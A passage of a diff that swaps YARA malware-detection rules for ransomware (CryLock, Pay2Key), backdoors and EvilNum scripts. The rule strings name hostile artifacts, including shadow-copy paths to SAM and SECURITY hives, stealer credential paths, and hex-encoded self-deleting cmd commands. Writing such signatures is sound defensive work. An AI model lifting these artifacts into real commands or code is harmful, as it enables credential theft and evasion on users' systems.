d4 fe ff ff 6a 01 ff b5 e0 fe ff ff ff b5 d0 fe ff ff e8 8a f3 ff ff 85 c0 0f 84 7c 03 00 00 8b 85 d4 fe ff ff 8b 3d e8 b1 00 10 85 c0 74 03 50 ff d7 8b 85 d8 fe ff ff 85 }
-		$s2 = { 33 d2 8b c1 b9 00 00 20 00 f7 f1 33 c9 89 8d e4 fe ff ff 3b ca 89 95 b8 fe ff ff 1b d2 f7 da 03 d0 89 95 c4 fe ff ff 0f 84 98 02 00 00 8b ff 8b b5 b8 fe ff ff 85 f6 74 09 8d 42 ff 8b fe 3b c8 74 05 bf 00 00 20 00 57 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b 8d e4 fe ff ff 0f af cf 03 8d d0 fe ff ff 57 8b f0 51 56 89 b5 ec fe ff ff e8 c9 6c 00 00 83 c4 0c 8d 85 f1 fe ff ff 68 03 01 00 00 6a 00 50 c6 85 f0 fe ff ff 00 e8 1c 31 00 00 8b 85 e4 fe ff ff 83 c4 0c 40 6a 00 ff b5 c4 fe ff ff 8b d0 8d 8d f0 fe ff ff 89 85 e4 fe ff ff e8 27 f5 ff ff 83 c4 08 8d 85 e0 fe ff ff 50 6a 00 6a 01 57 56 c7 85 e0 fe ff ff 00 00 00 00 ff 15 24 b0 00 10 85 c0 74 4c ff b5 e0 fe ff ff 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b f0 8d 85 e0 fe ff ff 50 56 6a 01 57 8b bd ec fe ff ff 57 ff 15 24 b0 00 10 57 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 8b bd e0 fe ff ff 89 b5 ec fe ff ff 8d b5 f0 fe ff ff 8d 4e 01 8a 06 46 84 c0 75 f9 2b f1 8d 04 3e 50 6a 08 89 85 c8 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 56 8d 8d f0 fe ff ff 51 50 89 85 bc fe ff ff e8 d8 6b 00 00 8b 8d bc fe ff ff 83 c4 0c 03 ce 57 8b bd ec fe ff ff 57 51 e8 bf 6b 00 00 83 c4 0c 57 6a 00 ff 15 b4 b0 00 10 50 ff 15 b8 b0 00 10 56 8d 85 f0 fe ff ff 6a 00 50 e8 0d 30 00 00 8b b5 c0 fe ff ff 8b bd bc fe ff ff 83 c4 0c 8d 8d d4 fe ff ff 56 ff b5 c8 fe ff ff 57 e8 fb f0 ff ff 85 c0 0f 84 c9 00 00 00 85 f6 0f 84 c1 00 00 00 8b 85 d4 fe ff ff 8b 35 e8 b1 00 10 85 }
-		$s3 = { 55 8b ec 83 e4 f8 81 ec 34 02 00 00 a1 00 00 01 10 33 c4 89 84 24 30 02 00 00 53 56 57 6a ff ff 35 28 1b 01 10 ff 15 4c b0 00 10 ff 35 28 1b 01 10 ff 15 80 b0 00 10 8b 35 b8 b0 00 10 8b 3d b4 b0 00 10 8d 44 24 10 50 8d 54 24 10 c7 44 24 10 00 00 00 00 c7 44 24 14 00 00 00 00 e8 df 0a 00 00 8b 4c 24 14 83 c4 04 85 c9 0f 84 e6 02 00 00 8b 54 24 0c 33 c0 33 db c7 44 24 20 00 00 00 00 89 44 24 1c 85 c9 0f 84 c2 02 00 00 8d 64 24 00 8b 34 13 8d 04 13 56 6a 08 ff d7 50 ff 15 ec b0 00 10 8b c8 8b 44 24 0c 83 c0 04 56 03 c3 50 51 89 4c 24 24 e8 a7 7e 00 00 8b 44 24 18 03 c3 83 c4 0c 8b 44 06 04 50 6a 08 89 44 24 1c ff d7 50 ff 15 ec b0 00 10 ff 74 24 14 8b f8 8b 44 24 10 03 c3 83 c6 08 03 c6 50 57 e8 72 7e 00 00 83 c4 0c 68 04 01 00 00 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 68 00 00 00 f0 6a 18 6a 00 8b f0 6a 00 8d 44 24 34 50 c7 44 24 38 00 00 00 00 c7 44 24 3c 00 00 00 00 ff 15 18 b0 00 10 }
-		$s4 = { ff 15 a4 b0 00 10 8d 44 24 28 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 34 ff 15 14 b0 00 10 ff 15 a4 b0 00 10 6a 00 ff 74 24 18 57 ff 74 24 34 ff 15 0c b0 00 10 ff 15 a4 b0 00 10 6a 00 8d 44 24 30 50 56 6a 02 ff 74 24 38 c7 44 24 40 04 01 00 00 ff 15 10 b0 00 10 ff 74 24 28 ff 15 00 b0 00 10 6a 00 ff 74 24 28 ff 15 04 b0 00 10 8b 54 24 2c 8b 44 24 18 }
-		$s5 = { 50 68 04 01 00 00 ff 15 a8 b0 00 10 8d 44 24 30 50 ff 15 a0 b1 00 10 68 18 ee 00 10 8d 44 24 34 50 ff 15 9c b0 00 10 b8 4d 5a 00 00 66 39 07 0f 85 b2 00 00 00 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 68 00 00 00 40 8d 44 24 48 50 ff 15 40 b0 00 10 8b f0 ff 15 a4 b0 00 10 83 fe }
-		$s6 = { 6a 00 8d 44 24 28 50 ff 74 24 1c c7 44 24 30 00 00 00 00 57 56 ff 15 38 b0 00 10 56 ff 15 44 b0 00 10 68 80 00 00 00 8d 44 24 34 50 ff 15 48 b0 00 10 8d 44 24 30 50 ff 15 a4 b1 00 10 85 c0 74 2d 8d 44 24 30 50 ff 15 b0 b0 00 10 8b f0 6a 01 56 ff 15 a0 b0 00 10 8d 4c 24 20 51 a3 20 1b 01 10 ff d0 56 89 44 24 20 ff 15 f4 b0 00 10 e8 ad f3 ff ff 57 8b 3d b4 b0 00 10 6a 00 ff d7 8b 35 b8 b0 00 10 50 ff d6 ff 74 24 18 6a 00 ff d7 50 ff d6 8b 44 24 1c 85 c0 74 12 8b 54 24 20 50 b9 4c ef 00 10 e8 77 0c 00 00 83 c4 04 8b 54 24 0c 8b 0c 13 8d 04 13 8d 04 19 83 c3 08 8b 44 10 04 03 c1 03 d8 3b 5c 24 10 0f 82 42 fd ff ff 52 6a 00 ff d7 50 ff d6 68 00 dd 6d 00 ff 35 28 1b 01 10 ff 15 4c b0 00 10 85 c0 0f 85 d4 fc ff ff }
+		$s1 = "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy" fullword wide
+		$s2 = "Windows\\System32\\config\\SECURITY" fullword wide
+		$s3 = "Windows\\System32\\config\\SYSTEM" fullword wide
+		$s4 = "Windows\\System32\\config\\SAM" fullword wide
+		$s5 = "SECURITY-" fullword wide
+		$s6 = { 43 6f 75 6c 64 20 6e 6f 74 20 6f 70 65 6e 20 53 45 43 55 52 49 54 59 20 3a  }
+		$s7 = { 7a d1 3f 99 5c 2d 21 79 f2 21 3d 00 58 ac 30 7a b5 d1 3f 7e 84 ff 62 3e cf 3d 3d }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >40KB and 5 of ($s*)
+		uint16(0)==0x5A4D and filesize >50KB and 5 of ($s*)
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_Sidewinder_NET_Loader_Aug_2020_1 : FILE
+rule ARKBIRD_SOLG_RAN_Crylock_July_2021_1 : FILE
 {
 	meta:
-		description = "Detected the NET loader used by SideWinder group (August 2020)"
+		description = "Detect CryLock ransomware (ex-Cryakl)"
 		author = "Arkbird_SOLG"
-		id = "7334a3b8-cd56-5820-a073-5bd22076644f"
-		date = "2020-08-24"
-		modified = "2020-08-24"
-		reference = "https://twitter.com/ShadowChasing1/status/1297902086747598852"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-24/SideWinder/APT_SideWinder_NET_Loader_Aug_2020_1.yar#L3-L21"
+		id = "350bd622-f4b5-5837-a239-dc506b100aef"
+		date = "2021-07-17"
+		modified = "2021-07-17"
+		reference = "https://twitter.com/BushidoToken/status/1415958829318217730"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-16/Crylock/RAN_Crylock_July_2021_1.yara#L1-L23"
 		license_url = "N/A"
-		logic_hash = "b40127cd845d75ef81eb230c12635da00dd77fc53e5886c253a2466627aa8534"
+		logic_hash = "4f5046a64e7491085a55d8d1f2b5b056dc0aa89fcdea47652ecb7db680de2f59"
 		score = 75
-		quality = 73
+		quality = 65
 		tags = "FILE"
-		hash1 = "4a0947dd9148b3d5922651a6221afc510afcb0dfa69d08ee69429c4c75d4c8b4"
+		hash1 = "a962501ea4cd363dd588c948ff8b0ab24aa4132ff58f4a7806af06efa3b791ef"
+		hash2 = "1c2975dd464d014502a46ba6383943c7de4635e3664011653217dc424d53f8fe"
+		hash3 = "e001f6a5b2d4d2659b010fb5825eb4383e8f415861a244329bc70cfcd18da507"
+		tlp = "White"
+		adversary = "RAAS"
 
 	strings:
-		$s1 = "DUSER.dll" fullword wide
-		$s2 = "UHJvZ3JhbQ==" fullword wide
-		$s3 = ".tmp           " fullword wide
-		$s4 = "U3RhcnQ=" fullword wide
-		$s5 = "Gadgets" fullword ascii
-		$s6 = "AdapterInterfaceTemplateObject" fullword ascii
-		$s7 = "FileRipper" fullword ascii
-		$s8 = "copytight @" fullword wide
+		$s1 = { 2f 63 20 22 70 69 6e 67 20 30 2e 30 2e 30 2e 30 26 64 65 6c 20 22 }
+		$s2 = { 7b 45 4e 43 52 59 50 54 53 54 41 52 54 7d 7b }
+		$s3 = { 7b 45 4e 43 52 59 50 54 45 4e 44 45 44 7d }
+		$s4 = { 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 45 58 54 45 4e 41 54 49 4f 4e 53 5c 5c 5c 00 ff ff ff ff 17 00 00 00 2f 2f 2f 45 4e 44 20 43 4f 4d 4d 41 4e 44 53 20 4c 49 53 54 5c 5c 5c 00 ff ff ff ff 1d 00 00 00 2f 2f 2f 45 4e 44 20 50 52 4f 43 45 53 53 45 53 20 4b 49 4c 4c 20 4c 49 53 54 5c 5c 5c 00 00 00 ff ff ff ff 1c 00 00 00 2f 2f 2f 45 4e 44 20 53 45 52 56 49 43 45 53 20 53 54 4f 50 20 4c 49 53 54 5c 5c 5c 00 00 00 00 ff ff ff ff 1e 00 00 00 2f 2f 2f 45 4e 44 20 50 52 4f 43 45 53 53 45 53 20 57 48 49 54 45 20 4c 49 53 54 5c 5c 5c 00 00 ff ff ff ff 1e 00 00 00 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 46 49 4c 45 53 20 4c 49 53 54 5c 5c 5c 00 00 ff ff ff ff 20 00 00 00 2f 2f 2f 45 4e 44 20 55 4e 45 4e 43 52 59 50 54 20 46 4f 4c 44 45 52 53 20 4c 49 53 54 5c 5c 5c }
+		$s5 = { 49 45 28 41 4c 28 22 25 73 22 2c 34 29 2c 22 41 4c 28 5c 22 25 30 3a 73 5c 22 2c 33 29 22 2c 22 4a 4b 28 5c 22 25 31 3a 73 5c 22 2c 5c 22 25 30 3a 73 5c 22 29 22 29 }
+		$s6 = { 3c 25 55 4e 44 45 43 52 59 50 54 5f 44 41 54 45 54 49 4d 45 25 3e }
+		$s7 = { 25 00 73 00 20 00 28 00 25 00 73 00 2c 00 20 00 6c 00 69 00 6e 00 65 00 20 00 25 00 64 00 29 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4KB and ((pe.exports("FileRipper") and pe.exports("Gadgets")) and 5 of them )
+		uint16(0)==0x5a4d and filesize >80KB and 6 of ($s*)
 }
-rule ARKBIRD_SOLG_Mal_Stealer_NET_Redline_Aug_2020_1 : FILE
+rule ARKBIRD_SOLG_Ran_Pay2Key_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Detect Redline Stealer (August 2020)"
+		description = "Detect Pay2Key ransomware"
 		author = "Arkbird_SOLG"
-		id = "6fda87c3-0d00-5c00-a1ff-6d96dd726ddf"
-		date = "2020-08-24"
-		modified = "2020-08-24"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1297878628450152448"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-24/Redline/Mal_Stealer_NET_Redline_Aug_2020_1.yar#L1-L31"
+		id = "440b8128-4708-54ba-94c3-c0b522004da6"
+		date = "2020-12-01"
+		modified = "2020-12-14"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-14/Pay2Key/Ran_Pay2Key_Nov_2020_1.yar#L1-L31"
 		license_url = "N/A"
-		logic_hash = "950641dfaf17f332e6a18961aebb2533732d82ce69f3617efa08cc63272f1786"
+		logic_hash = "f1ea1ed141ba7a1eaaa34c216adebfacaa23ef8776a0216b778ccb34bd000590"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "4195430d95ac1ede9bc986728fc4211a1e000a9ba05a3e968dd302c36ab0aca0"
+		hash1 = "5bae961fec67565fb88c8bcd3841b7090566d8fc12ccb70436b5269456e55c00"
+		hash2 = "d2b612729d0c106cb5b0434e3d5de1a5dc9d065d276d51a3fb25a08f39e18467"
+		hash3 = "ea7ed9bb14a7bda590cf3ff81c8c37703a028c4fdb4599b6a283d68fdcb2613f"
 
 	strings:
-		$s1 = { 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 57 00 68 00 65 00 72 00 65 00 20 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 49 00 64 00 3d 00 27 00 7b 00 30 00 7d }
-		$s2 = { 28 00 28 00 28 00 28 00 5b 00 30 00 2d 00 39 00 2e 00 5d 00 29 00 5c 00 64 00 29 00 2b 00 29 00 7b 00 31 00 7d 00 29 }
-		$s3 = { 7b 00 30 00 7d 00 5c 00 46 00 69 00 6c 00 65 00 5a 00 69 00 6c 00 6c 00 61 00 5c 00 72 00 65 00 63 00 65 00 6e 00 74 00 73 00 65 00 72 00 76 00 65 00 72 00 73 00 2e 00 78 00 6d 00 6c }
-		$s4 = { 7b 00 30 00 7d 00 5c 00 46 00 69 00 6c 00 65 00 5a 00 69 00 6c 00 6c 00 61 00 5c 00 73 00 69 00 74 00 65 00 6d 00 61 00 6e 00 61 00 67 00 65 00 72 00 2e 00 78 00 6d 00 6c }
-		$s5 = { 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 61 00 72 00 74 00 69 00 6e 00 20 00 50 00 72 00 69 00 6b 00 72 00 79 00 6c 00 5c 00 57 00 69 00 6e 00 53 00 43 00 50 00 20 00 32 00 5c 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 73 }
-		$s6 = "<encrypted_key>k__BackingField" fullword ascii
-		$s7 = "set_encrypted_key" fullword ascii
-		$s8 = "UserAgentDetector" fullword ascii
-		$s9 = "set_encrypted_key" fullword ascii
-		$s10 = "set_FtpConnections" fullword ascii
-		$s11 = "set_IsProcessElevated" fullword ascii
-		$s12 = "SELECT ExecutablePath, ProcessID FROM Win32_Process" fullword wide
-		$s13 = "<IsProcessElevated>k__BackingField" fullword ascii
-		$s14 = "System.Collections.Generic.IEnumerable<RedLine.Logic.Json.JsonValue>.GetEnumerator" fullword ascii
-		$s15 = "System.Collections.Generic.IEnumerator<RedLine.Logic.Json.JsonValue>.get_Current" fullword ascii
-		$s16 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\browser.exe" fullword wide
-		$s17 = "ProcessExecutablePath" fullword ascii
-		$s18 = "IsProcessElevated" fullword ascii
-		$s19 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe" fullword wide
-		$s20 = "get_encryptedPassword" fullword ascii
+		$s1 = "F:\\2-Sources\\21-FinalCobalt\\Source\\cobalt\\Cobalt\\Cobalt\\Win32\\Release\\Client\\Cobalt.Client.pdb" fullword ascii
+		$s2 = ".\\Cobalt-Client-log.txt" fullword ascii
+		$s3 = ".\\Config.ini" fullword wide
+		$s4 = "Local\\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag" fullword ascii
+		$s5 = "\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" fullword ascii
+		$s6 = { 40 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 31 00 2e 00 31 00 2e 00 31 00 2e 00 31 00 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 33 00 30 00 30 00 30 00 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 44 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 }
+		$s7 = "%WINDRIVE%" fullword wide
+		$s8 = "%WINDIR%" fullword wide
+		$dbg1 = "message.txt" fullword ascii
+		$dbg2 = "Failed To Get Data...." fullword ascii
+		$dbg3 = "lock.locked()" fullword wide
+		$dbg4 = { 47 65 74 41 64 61 70 74 65 72 73 49 6e 66 6f 20 66 61 69 6c 65 64 20 77 69 74 68 20 65 72 72 6f 72 3a 20 25 64 0a }
+		$dbg5 = { 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 20 66 61 69 6c 65 64 3a 20 25 78 0a }
+		$dbg6 = { 43 72 79 70 74 44 65 72 69 76 65 4b 65 79 20 66 61 69 6c 65 64 3a 20 25 78 0a 00 00 25 00 64 }
+		$dbg7 = { 5b 2d 5d 20 43 72 79 70 74 45 6e 63 72 79 70 74 20 66 61 69 6c 65 64 0a }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <90KB and 15 of them
+		uint16(0)==0x5a4d and filesize >500KB and (5 of ($s*) and 4 of ($dbg*))
 }
-rule ARKBIRD_SOLG_MAL_Shark_Aug_2021_1 : FILE
+rule ARKBIRD_SOLG_APT_Evilnum_JS_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Detect Shark backdoor used by Hexane group (aka Siamesekitten)"
+		description = "Detect JS script used by EvilNum group"
 		author = "Arkbird_SOLG"
-		id = "881dcdd9-2f4d-51d3-b046-15cdb2a2cb55"
-		date = "2021-08-18"
-		modified = "2021-08-19"
-		reference = "https://www.clearskysec.com/siamesekitten/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Shark_Aug_2021_1.yara#L1-L24"
+		id = "08b410c4-4899-5280-9735-6b3017c7a813"
+		date = "2020-07-13"
+		modified = "2021-07-14"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-13/EvilNum/APT_EvilNum_JS_Jul_2021_1.yara#L1-L22"
 		license_url = "N/A"
-		logic_hash = "c14abb839f4af81a3db38719f23c47498d577a779950e66978ff14d015043490"
+		logic_hash = "0ace40e54f6dca078f17e7e157c7973642b83366ba792d2bcdc0d971f729fb68"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE"
-		hash1 = "89ab99f5721b691e5513f4192e7c96eb0981ddb6c2d2b94c1a32e2df896397b8"
-		hash2 = "f6ae4f4373510c4e096fab84383b547c8997ccf3673c00660df8a3dc9ed1f3ca"
-		hash3 = "44faf11719b3a679e7a6dd5db40033ec4dd6e1b0361c145b81586cb735a64112"
-		hash4 = "2f2ef9e3f6db2146bd277d3c4e94c002ecaf7deaabafe6195fddabc81a8ee76c"
-		tlp = "White"
-		adversary = "Hexane"
+		hash1 = "8420577149bef1eb12387be3ea7c33f70272e457891dfe08fdb015ba7cd92c72"
+		hash2 = "c16824a585c9a77332fc16357b5e00fc110c00535480e9495c627f656bb60f24"
+		hash3 = "1061baf604aaa7ed5ba3026b9367de7b6c7f20e7e706d9e9b5308c45a64b2679"
+		tlp = "white"
+		adversary = "EvilNum"
 
 	strings:
-		$s1 = { 7b 00 22 00 44 00 61 00 74 00 61 00 22 00 3a 00 5b 00 22 00 00 07 22 00 [0-8] 5d 00 7d }
-		$s2 = "application/json" fullword wide
-		$s3 = { 40 00 45 00 43 00 48 00 4f 00 20 00 4f 00 46 00 46 00 0a 00 00 1d 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 49 00 4d 00 20 00 22 00 00 17 22 00 20 00 2f 00 46 00 20 00 3e 00 20 00 6e 00 75 00 6c 00 0a 00 00 2b 70 00 69 00 6e 00 67 00 20 00 [12-28] 00 20 00 6e 00 75 00 6c }
-		$s4 = { 2a 00 65 00 78 00 65 00 00 0b 2a 00 70 00 72 00 6f 00 63 00 00 07 2a 00 6b 00 6c 00 00 07 64 00 69 00 72 00 00 11 66 00 69 00 6c 00 65 00 3a 00 2f 00 2f 00 2f }
-		$s5 = { 16 0a 2b 13 02 06 02 06 91 1f 2a 28 ?? 00 00 0a 61 d2 9c 06 17 58 0a 06 02 8e 69 }
-		$s6 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography" fullword wide
-		$s7 = { 65 00 63 00 68 00 6f 00 20 00 [2-10] 20 00 7c 00 20 00 64 00 65 00 6c 00 20 00 [2-10] 2e 00 62 00 61 00 74 00 00 0f [2-10] 00 2e 00 62 00 61 00 74 }
+		$s1 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 6d 6c 32 2e 44 4f 4d 44 6f 63 75 6d 65 6e 74 22 29 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 42 61 73 65 36 34 44 61 74 61 22 29 3b }
+		$s2 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 6d 6c 32 2e 44 4f 4d 44 6f 63 75 6d 65 6e 74 22 29 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 42 61 73 65 36 34 44 61 74 61 22 29 3b }
+		$s3 = { 69 66 20 28 2d 31 20 21 3d 20 57 53 63 72 69 70 74 2e 53 63 72 69 70 74 46 75 6c 6c 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 [1-8] 28 22 }
+		$s4 = { 52 75 6e 28 [1-8] 30 2c 20 30 29 }
+		$s5 = { 7d 2c 20 ?? 20 3d 20 ?? 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 20 ?? 20 3d 20 ?? 2e 73 6c 69 63 65 28 31 2c 20 31 20 2b 20 ?? 29 2c 20 ?? 20 3d 20 ?? 2e 73 6c 69 63 65 28 31 20 2b 20 ?? 20 2b 20 34 29 2c 20 ?? 20 3d 20 5b 5d 2c }
+		$s6 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 41 44 4f 44 42 2e 53 74 72 65 61 6d 22 29 3b }
+		$s7 = { 5b ?? 5d 20 3d 20 ?? 20 2b 20 22 2d 22 20 2b 20 ?? 20 2b 20 22 2d 22 20 2b 20 ?? 20 2b 20 22 54 22 20 2b 20 ?? 20 2b 20 22 3a 22 20 2b 20 ?? 20 2b 20 22 3a 22 20 2b 20 ?? 3b }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >15KB and 6 of ($s*)
+		filesize >8KB and 6 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Milan_Aug_2021_1 : FILE
+rule ARKBIRD_SOLG_APT_Evilnum_LNK_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Detect Milian backdoor used by Hexane group (aka Siamesekitten)"
+		description = "Detect LNK file used by EvilNum group"
 		author = "Arkbird_SOLG"
-		id = "34acac5a-6090-5a68-9afb-4da7073bed58"
-		date = "2021-08-18"
-		modified = "2021-08-19"
-		reference = "https://www.clearskysec.com/siamesekitten/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-19/Hexane/MAL_Milan_Aug_2021_1.yara#L1-L22"
+		id = "9d570c02-606a-5bff-af7a-9b5ef1e6df90"
+		date = "2020-07-13"
+		modified = "2021-07-14"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-13/EvilNum/APT_EvilNum_LNK_Jul_2021_1.yara#L1-L22"
 		license_url = "N/A"
-		logic_hash = "bad8ae2a9275bcb6e0e903fda6a128a1bed676c8e1a8e653e9fc3467766ce7fc"
+		logic_hash = "d20aadfce6a0246f415f94a62edbf7fd48dcdcd9756a5a8d898a5459633b9350"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "b46949feeda8726c0fb86d3cd32d3f3f53f6d2e6e3fcd6f893a76b8b2632b249"
-		hash2 = "4f1b8c9209fa2684aa3777353222ad1c7716910dbb615d96ffc7882eb81dd248"
-		tlp = "White"
-		adversary = "Hexane"
+		hash1 = "b60ae30ba90f852f886bb4e9aaabe910add2b70278e3a88a3b7968f644e10554"
+		hash2 = "bc203f44b48c9136786891be153311c37ce74ceb7eb540d515032c152f5eb2fb"
+		hash3 = "fefc9dbb46bc02a2bdccbf3c581d270f6341562e050e5357484ecae7e1e702f3"
+		tlp = "white"
+		adversary = "EvilNum"
 
 	strings:
-		$c1 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 64 00 65 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 77 00 61 00 69 00 74 00 66 00 6f 00 72 00 20 00 61 00 20 00 34 00 20 00 26 00 20 00 63 00 6f 00 70 00 79 00 20 00 22 00 25 00 73 00 22 00 20 00 22 00 25 00 73 00 22 00 20 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 52 00 75 00 6e 00 20 00 2f 00 54 00 4e 00 20 00 22 }
-		$c2 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 2e 00 [2-6] 20 00 2d 00 6e 00 20 00 31 00 20 00 2d 00 77 00 20 00 [2-8] 20 00 3e 00 20 00 4e 00 75 00 6c 00 20 00 26 00 20 00 72 00 6d 00 64 00 69 00 72 00 20 00 2f 00 73 00 20 00 2f 00 71 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 74 00 6e }
-		$s1 = { 2d 2d 2d 2d 2d 2d [1-8] 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f }
-		$s2 = { 5b 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 3a 00 25 00 64 00 28 00 25 00 64 00 29 00 5d }
-		$s3 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 6d 00 75 00 6c 00 74 00 69 00 70 00 61 00 72 00 74 00 2f 00 66 00 6f 00 72 00 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 2d 00 2d 00 2d 00 2d}
-		$s4 = { 8d 8d 7c ee ff ff 51 6a 00 6a 00 50 ff 15 ?? b2 4b 00 85 c0 0f 84 a9 0f 00 00 8d 85 e0 fb ff ff 50 e8 ?? e0 ff ff 59 50 8d 85 e0 fb ff ff 50 8d 4b 20 e8 [2] 00 00 6a 00 ff b5 94 ee ff ff 8d 85 e0 fb ff ff 50 ff 33 ff 15 ?? b2 4b 00 8b d0 89 95 e8 ee ff ff 85 d2 0f 84 65 0f 00 00 6a 02 5e 33 c9 b8 00 00 80 00 39 b5 88 ee ff ff 0f 44 c8 83 bd 94 ef ff ff 08 51 8d 85 80 ef ff ff 0f 43 85 80 ef ff ff 33 c9 51 51 51 ff b5 a8 ee ff ff 50 52 ff 15 ?? b2 4b 00 8b f0 89 b5 48 ef ff ff 85 f6 0f 84 fb 0e 00 00 80 7b 04 00 8b 3d ?? b2 4b 00 75 23 6a 02 58 39 85 88 ee ff ff 75 18 6a 04 8d 85 20 ef ff ff c7 85 20 ef ff ff 00 31 00 00 50 6a 1f 56 ff d7 c6 85 47 ef ff ff 00 33 c9 c7 85 f0 ee ff ff 18 00 00 00 8b c1 41 89 8d 20 ef ff ff 83 f8 03 0f 83 88 0e 00 00 83 bb d8 00 00 00 00 76 31 8d 83 c8 00 00 00 83 78 14 08 72 02 8b 00 68 00 00 00 01 ff b3 d8 00 00 00 50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 00 00 00 8d b3 a8 00 00 00 83 7e 10 00 76 7a 68 ?? b9 4c 00 8d 8d 98 ef ff ff e8 [2] 00 00 6a ff 33 c0 8d 8d 98 ef ff ff 6a 00 40 